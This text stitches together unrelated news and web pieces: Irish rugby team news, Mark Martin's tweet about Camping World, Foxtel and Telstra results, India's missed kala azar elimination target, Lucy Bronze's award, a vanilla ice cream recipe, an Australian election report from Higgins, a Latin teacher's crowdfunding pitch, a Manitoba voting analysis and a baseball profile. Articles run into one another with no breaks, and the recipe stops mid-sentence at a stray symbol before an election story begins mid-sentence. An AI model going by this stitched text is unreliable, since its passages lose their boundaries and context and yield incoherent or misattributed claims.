Hooker Seán Henry missed the win over the Dragons because of a neck strain and is still unavailable.
Prop Ronan Loughney and scrumhalf Frank Murphy, however, are back in training this week and “available for selection”, alongside secondrow Aly Muldowney, who has recovered from illness.
Penney’s men have not lost to Connacht in nine fixtures. The table-toppers were last beaten by Friday’s opponents in December 2008.
Leinster coach Matt O’Connor has “issued a clean bill of health” ahead of their derby with Ulster at the RDS on Saturday (6.45pm).
However, the coach might be without a number of frontline players who were also included in the Carton House camp.UPDATE: Mark Martin has taken down his earlier tweet, and replaced it with a new one that says he regrets what he said:
After a call from @marcuslemonis today regret my tweet yesterday. I believe many articles about his statement were misrepresented. — Mark Martin (@markmartin) August 21, 2017
The original story is below:
——————–
Keep politics out of it.
That’s the message NASCAR legend Mark Martin has for Camping World CEO Marcus Lemonis, after he criticized President Trump for his handling of the Charlottsville protest and told fans who side with the President to stay out of his businesses.
Martin made his remarks on Twitter, and said he was cancelling a $150,000 order with Camping World.
First thing in the morning I will be canceling my order for 150,000$ RV I have ordered. Leave politics out of it. https://t.co/B0AUhqXVdh — Mark Martin (@markmartin) August 20, 2017
Martin is one of the most popular drivers ever at NASCAR, a 40-time Monster Energy NASCAR Cup Series winner.
Lemonis has joined that chorus of critics who paint Trump’s response to Charlottsville as weak, and said he’s “horrified” by what he’s seen coming out of the White House. He then went one step further:
“There’s no doubt that there is probably not many consumers in this country today that are in favor of what has been said in the last couple days and if they are, quite frankly, don’t shop at my business,” Lemonis said on CNBC’s “The Profit.”
Here are his full remarks:Jarryd Hayne playing for the NRL’s Gold Coast Titans. (Source: Getty)
Foxtel punched a $37 million hole in Telstra’s results today, with the telco’s results presentation showing the distribution from the pay television company dropped to $0 in 2017, from $37 million in the prior year.
The result comes just days after News Corp wrote down the value of its stake in Foxtel, which is a 50-50 joint venture with Telstra.
Foxtel’s revenue had also dropped to $3.2 billion, from $3.3 billion in 2016, while the total comprehensive income fell around one third, from $181 million last year to $123 million.
News Corp last week wrote down its investment in Foxtel by $289 million, due to the falling value of the pay TV company’s 14% stake in the troubled Ten Network.
Telstra did not write down any of its half-share in Foxtel, with Telstra chief executive Andrew Penn declining to say after the results announcement whether he’d inspected Ten Network’s books.
Foxtel has seen subscriber numbers drop in the face of competition from internet-based rivals such as Netflix, Stan and Amazon Prime. One analyst last week even predicted Australians paying for streaming would overtake the number of people subscribing to pay television within 12 months.
“We’ve been in ongoing discussions regarding how do we position Foxtel for success in that environment,” Penn said.
“Foxtel has the pre-eminent content in the country… There’s no doubt that streaming and new services are changing the dynamics of the industry and Foxtel has to respond to that, juyt as many businesses have to respond to the impact of digital disruption.”
The amount of pay TV services Telstra bought from the joint venture, to include in its bundles for telephony customers, increased to $811 million from 2016’s $720 million. In return, Foxtel bought $103 million of broadband services to bundle for some its pay TV customers.
Foxtel’s financials for year ending June 2017. (Source: Telstra)
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Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.India will miss its goal of eliminating kala azar by the end of this year. A national advisory committee on kala azar that has surveyed the four states in India where the disease is endemic has found that there are still many new cases of infection, according to a senior officer of National Vector Borne Disease Control Programme.
Kala azar, also known as visceral leishmaniasis is a chronic and potentially fatal infectious disease caused by the protozoan parasite Leishmania donovani. The parasite is transmitted to humans by the bite of female sand flies. The disease is characterised by bouts of fever, weight loss, anaemia, and an enlargement of the spleen and liver that shows up as a pot belly.
Kala azar is largely a disease of the poor. It has been endemic to four states in India – Bihar, Jharkhand, West Bengal, and Uttar Pradesh.
India has been trying to eliminate kala azar for decades but with little success. In 2014, the government launched the Kala Azar Elimination Programme with support from international agencies like the London School of Hygiene and Tropical Medicine, the Drugs for Neglected Diseases initiative. The programme focusses on the four endemic states and has been on the verge of eliminating the disease but has been struggling to cross the finish line.
In his budget speech this year, Finance Minister Arun Jaitley announced action plans to eliminate kala azar by the end of 2017. Following his speech, officials of the Ministry of Health and Family Welfare also reiterated these goals and appointed a national advisory committee to evaluate the kala azar elimination programme.
Eliminating kala azar in India is defined as achieving an annual incidence of less than one case per 10,000 people at the sub-district level. Bihar has the more than 70% of the disease burden, with kala azar endemic in 33 of its 38 districts.
(Data for 2017 is till October.)
In 2016, 94 blocks across the four endemic states had more than one case per 10,000 population. By the end of 2017, that number will fall to 80, according to the National Vector Borne Disease Control Programme. The programme official said India has achieved about 95% of its goal but will not be able to eliminate the disease by the end of 2017. The official also said that India will miss deadline to eliminate lymphatic filariasis, which was also at the end of this year.
Three missed elimination deadlines
India first set itself a target to eliminate kala azar in 2010, then in 2015 and then in 2017. For decades, the disease continued to linger and spread in endemic areas for lack of a good effective treatment and lack of political will. However, in recent years eliminating the disease has been within reach. The development and use of a liposomal amphotericin drug in 2014 became what many kala azar experts call a “game changer”. When administered intravenously, the drug can cure the disease in a day.
The elimination programme got another fillip when state governments started providing incentives to people getting treated for kala azar. Both Bihar and Jharkhand give Rs 6,600 to anyone completing a full course of treatment.
However, an outbreak of at least 50 new cases in Sheikhpura district of Bihar this June set the elimination programme back. Officials monitoring the kala azar programme told Scroll.in at the time that it might miss the elimination target.
Infection circulating within affected communities
The national advisory committee appointed to evaluate the kala azar elimination programme conducted a rigorous survey in April and May this year. The committee was headed by Dr NS Dharmashaktu, special director-general at the health ministry. Other members include Dr Saurabh Jain who is the technical officer for vector borne diseases and neglected tropical diseases with the World Health Organisation, Dr Suman Rijal who is the executive director of the Drugs for Neglected Tropical Diseases Initiative and Dr PC Bhatnagar from the non-profit organisation Voluntary Health Association of India.
Committee members travelled to affected areas and found out that while the number of blocks that had more than one case of kala azar was decreasing, there were still too many new cases being detected for the team to conclude that the disease was being eliminated.
Besides, cases of a skin presentation of kala azar called post-dermal kala azar leishmaniasis or PDKL have been increasing.
(Data for 2017 is till October.)
PDKL is first characterised by discolouration of the skin and later manifests as lesions. These lesions are reservoirs for the parasite. A person with lesions can therefore become infectious if bitten by a sand fly, leaving a source of infection within the community.
The National Vector Borne Disease Control Programme attributes the rise in PDKL cases to better surveillance and reporting. But, the larger number of PDKL cases also indicates that the infection is circulating within affected communities, said a committee member.
Gaps in the system
Kala azar experts say that while outbreaks, such as the one that took place in Sheikhpura, are to be expected, they need to be controlled quickly. For this, there needs to be a good surveillance system to detect new cases and effective, accessible treatment for the infected people.
India’s kala azar surveillance system is shaky.
In high endemic blocks – blocks with more than one case per 10,000 population – health authorities conduct active case finding exercises in which they go from house to house looking for people who might have kala azar and get them tested. However, in low endemic blocks – blocks that have less than one case of kala azar per 10,000 population – are not on the surveillance system radar, said a WHO official working in Bihar. In these blocks, a person is tested for kala azar only if he or she goes to a hospital with symptoms of the disease. Sometimes, a patient suffers for months before going to a health facility to be tested and treated.
The kala azar elimination programme also expects Accredited Social Health Activists or ASHAs to send people who have had fever for more than two weeks to a hospital. ASHAs are health workers in rural areas who help people in their communities to access public health services and help with providing antenatal care, bringing women to health facilities for institutional deliveries, and implementing immunisation programmes. ASHAs are often overburdened being the only healthcare workers for a clusters of villages and are underpaid for their work. For instance, an ASHA gets an incentive of only Rs 100 per person referred to a hospital for kala azar.
“The ASHA has a lot of work in the community,” said the WHO official. “This incentive is not good enough for her to concentrate her efforts.”
Another factor that has kept kala azar elimination just out of reach is the uneven implementation of sand fly control measures like indoor residual spraying in houses in endemic areas.
The state governments in Jharkhand and Bihar have pushed to eliminate kala azar. For example, Jharkhand’s kala azar endemic blocks are in areas that are hard to access but the government has deployed additional multipurpose health workers in these areas to support kala azar elimination activities. Health authorities have also organised communication and awareness programmes through churches.
“The motivation seems to be at the highest level,” said a member of the committee. “But at the ground level not much has changed. We found leadership lacking at the local levels, especially at the district level.”
In Uttar Pradesh, where there have been only 107 new cases of kala azar this year, committee members found that public health staffers were untrained to handle the disease, leaving questions over what might happen if a fresh outbreak should occur.
While the drug liposomal amphotericin has made a big difference in controlling infection, social conditions like poverty and neglect that help the disease spread still remain.
“We had all the ingredients to eliminate the disease this year,” said an expert from an international organisation working towards kala azar elimination.Lucy Bronze has won the award for a second time
Manchester City and England star Lucy Bronze has won the Professional Footballers' Association Women's Player of the Year award.
Bronze, 25, also won the award in 2014 and overcame competition from City team-mates Jane Ross and Jill Scott. Ellen White, Karen Carney and Caroline Weir were the other players nominated for the senior player award.
Birmingham's 19-year-old midfielder Jess Carter was chosen by her peers as the women's young player of the year.
Manchester City's strong representation in both categories was due to their excellent Women's Super League campaign in 2016, when they marched to the title without losing a single game.
Ross and Liverpool midfielder Weir both look set to feature in the Scotland team that face England at Euro 2017 this summer.
Bronze and Scott will represent England at the showpiece tournament in Holland, along with attacking midfielder Carney - a consistently strong performer for Chelsea last term - and Birmingham forward White, who scored the winner against the United States at the SheBelieves Cup last month.
Man City's hopes of a first Women's Champions League final look slim after they suffered a 3-1 home defeat to holders Lyon in the semi-final first leg Man City's hopes of a first Women's Champions League final look slim after they suffered a 3-1 home defeat to holders Lyon in the semi-final first leg
England full-back Bronze has been a consistent performer for club and country in recent seasons, but told the Daily Telegraph this week that she had set her heart on becoming a chartered accountant when she was a child.
"I just love maths, and doing equations," she said.
"When I was a kid I was really good at it, so when I was seven I asked my mum what job lets you do maths and pays you for it. She said accountancy, and that was it. I was dead set.
"I didn't dream of joining Man City as a professional one day, or representing England, because I didn't know that was even possible."
Carter secured more votes in the young player category than the Manchester City trio of Nikita Parris, Georgia Stanway and Keira Walsh, plus Weir and Chelsea's Millie Bright.[Total: 85 Average: 4.4/5]
This vanilla bean ice cream recipe uses the science behind ice cream production to produce exceptionally creamy ice cream with an extremely smooth and buttery mouthfeel. The volatile flavour molecules in the vanilla extract give the ice cream an immediate burst of flavour that is followed by the sweet, creamy, rich, full bodied, and somewhat woody, flavour of grade A (or ‘black’) Bourbon vanilla beans.
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PREP TIME
About 10 minutes
HEATING TIME
30 minutes at 77°C (170°F)
EQUIPMENT
Food thermometer
Ice cubes
Zip-lock freezer bag
INGREDIENTS
Cream
Milk
Sugar
Skimmed milk powder
Egg yolks
1 large grade A (or ‘black’) Bourbon vanilla bean.
2 teaspoons vanilla extract
Produces 800 ml (0.85 quarts) of ice cream mix
Part 1: Quick-Read Recipe
To start, enter the fat content of your cream in cell B1, and the fat content of your milk in cell B2 in the mix composition spreadsheet. Press enter to update the spreadsheet.
Cells B5 to B9 (in green) display the amount of each ingredient, expressed in grams, that you’ll be using for this recipe. Fill a large bowl with cubes of ice. Place a zip-lock bag next to the bowl ready for later. Run a sharp knife down the vanilla pod to separate it into two. Scrape out the sticky material containing the small black beans into a small bowl. Dice the two vanilla pod halves into small pieces or, preferably, grind in a coffee or spice grinder. Add to the bowl containing the sticky material and set aside for later. Before you combine your ingredients, weigh your pan and note down its weight. In your pan, combine the sugar and egg yolks. Add the cream, milk, and skimmed milk powder. Stir well. Over a medium heat, bring your mix up to 75°C (167°F) whilst constantly stirring; this usually takes me between 13 and 15 minutes. Once the temperature reaches 75°C (167°F), turn the heat down to low, move your pan about 1/4 of the way off the heat, and continue heating and stirring until the temperature slowly reaches 77°C (170°F), which should take another 2-3 minutes. Keep the mix at 77°C (170°F) for 30 minutes, stirring constantly and adjusting the position of your pan to help regulate the temperature. Don’t worry if you go slightly over 77°C (170°F); just try and keep the temperature as close to 77°C (170°F) as you can. After 30 minutes at 77°C (170°F), take the pan off the heat and weigh it. Subtract the weight of your pan, which you wrote down earlier, from the total weight displayed on your scales to get the weight of your mix post-heating. If your post-heating mix weight is greater than 871g, place the pan back on the heat and continue stirring until you get it to 871g. Once you get the mix weight down to 871g, add the blended vanilla powder/diced pieces and sticky material. Put the pan back onto the heat and, whilst stirring, keep the temperature above 72°C (162°F) for 15 seconds to pasteurise the vanilla pod. Carefully pour your mix into the zip lock bag that you placed next to your ice bath. Seal the bag and place it in your ice bath. Once your mix has cooled to 7.2°C (45°F), which should take no more than 1.5 hours, place the zip-lock bag in the fridge and leave it overnight. To improve the extraction efficiency of the beans, I’d recommend sloshing the mix around the bag every few hours. This will give your ice cream a stronger vanilla flavour. The next day, carefully sieve your mix into a large bowl or jug using a clean wooden spoon to press down on the vanilla powder/pieces to extract as much of the flavour as possible. Add 2 teaspoons of vanilla extract to the mix and pour it into your ice cream freezer. When your ice cream reaches -10°C (14°F) (a cheap infra-red thermometer does the job nicely), quickly extract it from your machine and into a container. Place in the freezer to harden to a serving temperature of around -15°C (5°F), which should take 2 to 3 hours.
Part 2: Long-Read Recipe
1. Mix composition spreadsheet
Don’t worry if the spreadsheet below looks confusing, I’m going to walk you through it step by step. You just need to pay attention to the cells in yellow, green, and blue.
Let’s start with the fat content of your milk and cream. For this recipe, you can use any kind of cream (US: light, whipping, heavy; Australia: light, thickened, single, double; Canada: half and half, table, whipping; UK: singe, double) that has a fat content above 25%. Here in the UK, the fresh double cream I use contains 47.5g of fat per 100ml, which equates to 47.5% fat, and the whole milk 3.7g of fat per 100ml, or 3.7% fat. You can use milk of any fat content.
To start, enter the fat content of your cream in cell B1, and the fat content of your milk in cell B2. Press enter to update the spreadsheet. Cells B5 to B9 (in green) display the amount of each ingredient, in grams, that you’ll be using for this recipe.
That’s all that we need to do to the spreadsheet for now; we’ll come back to it later after the heating stage.
2. Prepare an ice bath
The next step is to prepare an ice bath. An ice bath is a mixture of ice and water that you’ll use to cool your mix as quickly as possible to no more than 7.2°C (45°F) within a maximum of 1.5 hours. This minimises the time the mix spends in the ‘danger zone’, between 5°C (41°F) and 65°C (149°F), where bacteria likes to multiply.
Fill a fairly large bowl about 2/3 of the way with ice cubes and place a large zip-lock freezer bag next to the bowl ready for later.
3. Vanilla beans
I’ve tested Tahitian, Indian, Bourbon, and Ugandan vanilla beans, and have found that grade A (or ‘black’) Bourbon beans have the best flavour and aroma. Bourbon vanilla is the term used collectively for beans from Madagascar, Reunion, Comoro Islands, and the Seychelles. The aroma is sweet, creamy, rich, full bodied, tobacco-like, somewhat woody, deep balsamic, and has sweet spicy back notes ( ).
The only downside to grade A Bourbon beans is that they are ridiculously expensive. You can use lower grade B Bourbon, or Tahitian, Mexican, Indonesian, Indian, or Ugandan beans that are, generally, cheaper and will still give fairly decent results.
3.1. How to choose vanilla beans
When choosing vanilla beans, a high vanillin (>0.20%), high moisture (>20%) bean is the most likely to deliver the best quality flavour.
3.1.1. A high vanillin content
Vanillin is the most abundant of the vanilla flavour constituents, varying considerably from trace quantities to almost 3% by weight of cured vanilla beans, and is generally used as a prime indicator of flavour quality. The lower the vanillin content, the lower the quality of the bean, not just because of the vanillin itself, but also due to the other flavour notes that develop along with vanillin during curing.
3.1.2. A high moisture content
The moisture content of commercial vanilla beans varies from 10% for poor quality lower grade beans to 35% for gourmet beans ( ). Drier beans are less aromatic than high moisture beans and flavour notes, such as pruney, woody, floral, fruity, and rummy, which develop along with vanillin during curing, do not develop and/or are lost, in over-dried (low moisture) beans ( ).
3.1.3. Bean length
The length of the bean is also a good indicator of quality with grade A beans usually measuring over 15 cm (5.9″) in length.
3.2. Preparing your bean
Vanilla’s flavour is contained in two different parts of the pod (commonly referred to as the bean): the sticky material that contains the small black beans, and the pod wall.
On a chopping board, run the tip of a sharp knife down the pod to separate it into two. Using the back of the knife, scrape out the sticky material into a small bowl.
If you have a coffee or spice grinder, grind the two halves of the pod into a fine powder. Studies has shown that vanillin yield increases with decreasing pod particle sizes: powdered pods have a higher vanillin yield than 2mm and 5mm chopped beans ( ). If you don’t have a coffee grinder, dice the two pod halves into small pieces; the smaller you can get them, the better.
Add your ground/diced pod halves to the same bowl containing the small sticky material and set aside for later.
3.3. Why use vanilla extract?
Rob Linforth, Principal Research Fellow at the University of Nottingham’s Faculty of Science, notes that as we eat, what we register most intensely is the rate of change of flavour: that is, we perceive a quick, powerful burst of flavour more intensely than a slow, gradual build up of flavour ( ).
Flavour can be best defined as a combination of taste, aroma, texture, temperature, sight (and even sound) experienced by an individual when eating or drinking. Flavour results from two types of molecules: those that are volatile (i.e. small and light enough to evaporate from their source), which are responsible for aromas; and those that are non-volatile (i.e. don’t easily evaporate at room temperature), which are responsible for taste. It is generally believed that aroma is more important than taste in determining overall flavour, a generalisation that can be easily demonstrated by observing the difficulty in distinguishing between an apple and a pear if our nose is blocked by a cold or pinching fingers. Alcohol (vanilla extract is made up of alcohol, water, vanilla pods, and sometimes sugar), being volatile, releases aroma compounds relatively quickly, giving a quick burst of vanilla aroma as soon as it is eaten.
4. Heating the mix
Before you combine your ingredients, weigh your pan and write down its weight. You’ll use this measurement later at the end of the heating stage.
Add the sugar to your pan, followed by the egg yolks. Using a spatula or wooden spoon, mix these two ingredients well. The dissolved sugar will help prevent the yolks from curdling. Add the cream, milk, and skim milk powder and stir well.
For the next step, you’ll need a food thermometer and a timer.
Over a medium heat, bring your mix up to 75°C (167°F) whilst constantly stirring (this step usually takes me between 13 and 15 minutes). Once the temperature reaches 75°C (167°F), turn the heat down to low, move your pan about 1/4 of the way off the heat, and continue heating and stirring until the temperature slowly reaches 77°C (170°F), which should take another 2-3 minutes.
Whilst stirring, keep the mix at 77°C (170°F) for 30 minutes, adjusting the position of your pan to help regulate the temperature. Don’t worry if you go slightly over 77°C (170°F); just try and keep the temperature as close to 77°C (170°F) as you can.
4.1. Why heat the mix to 77°C (170°F) for 30 minutes?
I know that keeping the mix at 77°C (170°F) for 30 minutes is quite cumbersome, but it’s essential |
to cast their early ballot. I approach and she shakes my hand warmly.
"Hi Kelly," I say. "I'm a journalist. Could I speak to you for a minute?"
The smile doesn't disappear from her face. "No," she says, firmly. "I'm just here talking to the people."
"I'm a person!" I say brightly, holding out my arms a little so she can judge my claim for herself.
"But you're a journalist," she says.
"Sure," I say, "but once you get past that, I'm lovely."
Literally as close as I could get to a photo of Kelly O'Dwyer.
She correctly identifies this last statement as a total lie, so I leave her alone. I figure she must not be talking to the press at all, which is a weird strategy if you're trying to hold onto your seat. On the other hand, it's a wise strategy if losing the seat is deeply embarrassing and your most memorable quote of the election campaign is telling a low-income voter about $6000 toasters.
A Labor volunteer tells me Kelly spent half an hour yesterday talking to a reporter from The Age. "The constituents couldn't get a look in." Maybe it was just me she didn't like.
So I'm left with two major contenders: Labor candidate Carl Katter, and Greens candidate Jason Ball. I run into Katter (Bob's brother) at the station, and ask him if the polling stings a little, seeing that voters might be leapfrogging Labor in favour of the Greens.
"No, it doesn't concern me," he says, "because I know that it's biased, tricked-out polling. It's come from in-house Greens polling, so we take it with a grain of salt."
Footballer, LGBT activist, and Greens candidate for Higgins, Jason Ball.
Later on, I get some time with Greens candidate Jason Ball and tell him that Katter took issue with the poll. "Haha, of course he did," he says.
But doesn't he have a point about it being in-house? I ask.
"It was an independent poll," Ball responds. "It was commissioned by us, but it was done by Lonergan, which is a respectable independent research company. It had a significant sample size, and they randomised the questions when they came through."
The poll says that O'Dwyer is down to 44.1 percent, with Ball on 24.1 percent, and Katter on 18.2 percent. Once you get to preferences, this seat could go any way.
Katter tells me he was contacted by an independent journalist who did some exit polling from the booth. A smaller sample, less scientific, but it apparently showed that Labor was doing better than the Greens. "I've always known that," he says, "from the feeling we're getting on the street, and the support and just the level of interest of people coming in to pre-polling. We're coming in higher, which makes it very exciting for us in Labor, because there's a chance we could knock Kelly off."
Up until recently, Higgins was a relatively pleasant contest. But with the stakes so high, things have become heated. A couple of Greens people tell me about Liberal volunteers literally standing around Jason Ball to stop him from talking to voters, prompting the AEC officials to intervene. Ball, a former footballer, was no stranger to this sort of blocking.
But Ball received a lot of attention when a homophobic slur was spray painted across a business displaying his posters. The backlash against the hate speak resulted in a lot of positive press for Ball, press he says he didn't quite expect. Carl, who is also gay, quietly says, "I haven't run to the media when my signs were defaced."
Carl tells me he's disowned his brother, Bob Katter.
Carl Katter is the half-brother of Bob Katter, the Queensland MP who was recently in hot water for an campaign ad that showed him shooting a gun at Liberal and Labor posters, released right on the heels of the Orlando shooting. Bob claimed he had no idea about the shooting, which most people found hard to swallow. I ask Carl what he thought of it.
"Look, I found it pretty gross. Very distasteful. But what concerns me is his statement that he doesn't watch the media, didn't know what was happening in Orlando," he says. "It's just a blatant lie, and I don't think it's very constructive to lie to your constituent. That's pretty much it for me. I disown my brother."
Disowning your own brother is pretty intense. What's it going to be like if they both get elected and find themselves sitting next to one another in Parliament?
"It could be really interesting," Katter says. "The one thing he and I have in common, aside from the same father, is a passion for people. I can't fault him on that. But I think he sometimes misrepresents his constituents. If I'm fortunate enough to become a representative, the electorate of Higgins needs me to stand strong on a particular issue that might not be the party line, well, that's my job, I'll do that."
"That's pretty much it for me. I disown my brother" – Carl Katter
Katter saying he'll stand against Labor policies if he has to is a significant statement to make before an election, but it's the argument he needs to make if he's going to win over Greens supporters: "It's a no-brainer that someone like me will have a much greater outcome for progressive politics being part of a major party. It can be a waste of a vote putting someone in from a minor party who will be sitting on a back bench yelling out sweet nothings."
"I hear that argument," Ball responds, "and I think you can either be a silence backbencher in Labor, or you can be a kingmaker in a potential hung parliament by getting the Greens in."
Everyone wants their own spin out there. In the lead up to July 2, controlling the message is vitally important. There's no better example of that than a man I see in a distance, angrily refusing a Liberal flyer. Over the wind, I can hear him yelling "I've always been a Liberal voter in the past, but..." and then I miss the rest. He doesn't sound happy.
I approach the Liberal volunteer the man was talking to. "Sorry, what did he say?" Without missing a beat, she replies: "He said the Liberals are great."
Lee is the author of "Double Dissolution: Heartbreak and Chaos on the Campaign Trail," out in October from Echo Publishing.
Follow him on TwitterArsenal defender Per Mertesacker visited Islington Central Library on Thursday, March 7 to celebrate World Book Day and read some of his favourite stories to a group of local schoolchildren.
The German defender is Arsenal’s ambassador in the Premier League Reading Stars programme - an initiative run in partnership with the National Literacy Trust that sees all Premier League clubs contribute towards a range of engaging resources that are used in hundreds of schools and libraries across the country to inspire more young people to enjoy reading.
During the visit, Mertesacker read the classic tale ‘The Ugly Duckling’ by Hans Christian Andersen, before taking part in a question and answer session with the youngsters - a mix of pupils from Islington-based Montem Primary School, Drayton Park Primary School and Ambler Primary School.
Arsenal in the Community has worked with each of the three schools for a number of years on different literacy projects, including Premier League Reading Stars and the Arsenal Double Club. The Arsenal Foundation has also provided funding this year to support a new classroom and art studio at Drayton Park Primary School, while club staff have been visiting Ambler Primary School for weekly reading sessions with pupils over the course of the past year.
Arsenal’s contribution to this season’s Premier League Reading Stars project has seen the Club work closely with the local libraries service in Islington and offer all participating schools an assembly, a visit to Emirates Stadium and storytelling sessions.
Speaking about the visit, the German defender said: “My favourite book as a child was Grimm’s Fairytales so it was nice to have a chance to read some stories to the local children today and celebrate World Book Day. If football can help young people to enjoy reading then that’s great and I am happy to play a part.”
Premier League Reading Stars will celebrate its 10th anniversary on March 21. Click here to find out moreAbout
Salvete Amici! (Greetings Friends)
I am a high school Latin teacher, yes they still teach the classical language in high school. Latin, in my class, is not just about learning how to read and write the language, but also about how language works and the history that goes along with it. My goal is for my students to not only read the great authors like Ovid, Caesar, Cicero, and Vergil but also to understand the work that goes into their writing and the story and why they wrote what they did. As they read an oration by Cicero I want them to picture the Senators listening to him and see the defiant Cataline sitting in the front row. While reading about Aeneas fleeing a burning Troy I want them to picture the city burning and feel his conflict of whether to flee with his family or fight for the glory of a doomed city. In order to make these readings real I feel it is essential to "take the students there". I have on more than one occasion told my students that if I had a magic school bus we would be on our way that second. Since, I do not really have one, I have done my best through pictures and video clips. A number of students have told me that they prefer seeing my pictures or getting my additional commentary to the videos because it helps them engage in the story. So now I want to take this to the next level.
I want to create virtual field trips for my students. I plan to do this through using Google Glass to create videos for my students. I want to use Google Glass so that they can see exactly what I am seeing as I go through a site and I can provide the commentary they need to make a pile of stones live and breath their history. I am even hoping to possibly stream these videos as I record them and possibly hear from the students about what they want to see more of.
The initial goal is to just raise enough money to purchase a pair of Google Glasses and use them in my classroom to video lessons, and class discussions, as well as to video my trips to a couple museums and make videos of where you can see and use Latin outside of the classroom. My stretch goals include raising funds to send me and my husband to different historical sites to create the videos of these different historical places, including Rome, Pompeii, Naples, Tunis (ancient city of Carthage) and Truva (ancient city of Troy).
I have traveled overseas with students before but have never been able to go just to create learning materials for my students, and I know I could never afford to do these things on my own. Plus when I go with students we are usually on a very tight schedule and I am busy playing paparazzi for my students so that their parents get pictures of them on the trip.
I wanted to add some clarity as to why I am looking to use Google Glass specifically. I know there are great cameras out there and if I get enough funding to travel and create these virtual field trips I will certainly take those cameras into consideration. However, the reason I am wanting to use Google Glass is because I know I can also use it in my classroom daily. I would like to use it to easily video capture lessons and have the option to stream them, for students who are absent and for students that want to review a lesson at home. Google Glass offers the opportunity for me to do the streaming fairly easily and in a way that it is not intrusive to my classroom environment, in the way that some other products would be.
These virtual field trip videos will be shared with everyone, so that other teachers, students, or anyone can use them if they wish. The classroom videos will only be available to my students and their parents, due to privacy issues. Thank you for considering helping to fund this project.(Jacques Marcoux/CBC)
If voting patterns in the upcoming federal election mirror the last election in 2011, how Manitobans will vote will be decided by where they live, according to a CBC News analysis.
The analysis, run poll by poll, showed how each party fared in every neighbourhood.
The Conservative Party dominated rural Manitoba and Winnipeg's suburbs. Northern Manitoba and Winnipeg's core were mostly split between the Liberals and the NDP.
These are the key findings in looking at the 2011 voting results for each of the 2,681 voting stations across the province.
2011 vs. 2015
It will be difficult for candidates to make ground on the Conservatives in rural areas, said Curtis Brown, vice-president of Winnipeg-based Probe Research.
"Further from the center of the city, the better the Conservatives do," he said.
In the St. James Assiniboia riding, voters on Shelmerdine Drive bucked the trend and cast ballots for the NDP. The riding went Conservative in the last election.
Karen Owzarek lives across Shelmerdine Drive from a housing co-op. A Conservative supporter and volunteer, she was also surprised to hear the poll in 2011 went to the NDP.
She thinks the main difference between now and 2011 is people are trying to vote out a government as opposed to supporting one of the other parties.
"It's not as though people are voting for Liberals or for NDP, I think they are voting against a government they think has been in too long."
The Elections Canada polling station data reveals nearly 90% of polling stations in rural Manitoba were won by the Conservatives. In contrast, the NDP only secured 12% of rural polling stations and the Liberals were nearly non-existent with only 1% outside of urban areas.
Despite their strong rural support, the Conservatives also lead the way in terms of polling station victories in Winnipeg suburbs, Steinbach, Portage and most of Brandon during the last general election.
Winnipeg North tight race
In 2011, Liberal incumbent, Kevin Lamoureux, won his Winnipeg North seat by a mere 44 votes. The race was so tight that a judicial recount was required to confirm his victory over his NDP opponent, Rebecca Blaikie.
Despite his victory, the map reveals that Blaikie had more geographically widespread support throughout the riding, winning 79 polling stations compared to 56 for Lamoureux.
Adding to the challenge for Lamoureux on this upcoming election day, is the fact that Canada's Electoral Boundaries Commissions modified Winnipeg North's boundaries, and according to Elections Canada, had the new boundaries been used in 2011, the NDP would have won the riding by 109 votes.
Uphill battle for the Liberals in St.Boniface
With conservative MP Shelly Glover stepping down from her St. Boniface seat, many analysts believe that former city councillor and Liberal candidate Dan Vandal is a strong contender.
However, the poll data reveals that the Liberals have an up hill battle, having won only 33 of the 195 polling stations in 2011 -- nearly all of which were concentrated in north St, Boniface. The remainder of the riding, south to the perimeter, is essentially Conservative territory.
"Old St. Boniface is more likely to vote Liberal and is staunchly Liberal and if you were to go back and you were to do that same exercise in St. Boniface for the 2008 and 2006 elections the red would have gone a lot more south," said Curtis Brown.
"I think for Dan Vandal his success is going to have to come in some of those areas like Southdale, Windsor Park some of those areas, right in the middle between the older part of the riding and newer parts of the riding. That might be challenge a little bit by the fact that Erin Selby is running for the NDP and that's the area that she represents," added Brown.
Battle for Winnipeg-Centre
Last fall during the civic elections in Winnipeg, mayoral candidate Robert-Falcon Ouellette captured a significant number of votes from Winnipeg's core and North End. Curtis Brown believes that under the Liberal banner, Ouellette could do quite well, but adds that his support base, also tends to have historically lower-than-average voter turnout.
"Pat Martin tends to win a lot of the polls in Wolseley and the West End. Those areas tend to have stronger NDP support and they also tend to have higher voter turnout," said Brown.
*Map does not take into account votes cast through mobile stations or mail-in ballots.Looking back at the career of former Boston Red Sox pitcher Manny Delcarmen, who currently plays in the Independent Atlantic League.
Manny Delcarmen was just a kid from Hyde Park who aspired to take the mound for his hometown team. Those dreams would come true in 2000 when he was selected in the second round of the MLB amateur draft by the Boston Red Sox.
Growing up outside of Boston, Delcarmen spent much of his youth taking in games at Fenway Park. Back when he was pitching for West Roxbury High School, Delcarmen would study the great Pedro Martinez during the apex of one of the most dominant stretches by a pitcher in modern history. A handful of years later he would step onto the same mound that Pedro became a Boston legend pitching from.
While he hasn’t pitched in the majors since 2010, Delcarmen’s baseball career is still going strong. The 35-year old is now pitching for the Bridgeport Bluefish in the Independent Atlantic League.
YouTube reporter Tyler Boronski recently caught up with Delcarmen to reflect on his time with the Red Sox.
Much of the emphasis of the interview revolves around the 2007 season, which was by far the best of Delcarmen’s career. He posted a 2.05 ERA and struck out 41 batters over 44 innings out of the Red Sox bullpen.
Delcarmen credits the organization’s development system for putting him in a position to succeed. After getting his feet wet with a brief stint in the big leagues in 2005, Delcarmen spent the following year battling the inconsistencies that many young pitchers face. 2007 was the first time that he felt that he had a set role in Boston’s bullpen. The trust that manager Terry Francona showed in calling on him in key situations late in games built the confidence that Delcarmen needed to thrive.
That year also gave Delcarmen his first taste of the postseason during Boston’s path to a World Series title. Three years after watching his idol Pedro hoist the trophy wearing a Red Sox uniform, Delcarmen would get his chance to celebrate being a champion.
Boston was favored to win the American League pennant that year, but they hit a bit of a stumbling block along the way in the ALCS against the Cleveland Indians. After cruising to a blowout victory in Game 1, the Red Sox would drop three in a row to put themselves on the brink of elimination coming back home to Fenway.
One of the most interesting tidbits from the Boronski interview was Delcarmen reminiscing on the mentality of the team at that point. Indians first baseman Ryan Garko made a regrettable comment about how the champagne will taste just as sweet no matter where they drink it. Delcarmen reveals that every Red Sox player had that quote pinned in their locker, which proved to be all the motivation they needed to storm back with three lopsided victories to finish off Cleveland.
The Colorado Rockies had to wait around for five days for the Red Sox to finish off their seven game series against Cleveland, which Delcarmen believes gave his team the edge. Boston came in fired up from the epic comeback in the ALCS and managed to carry that momentum through a sweep in the World Series.
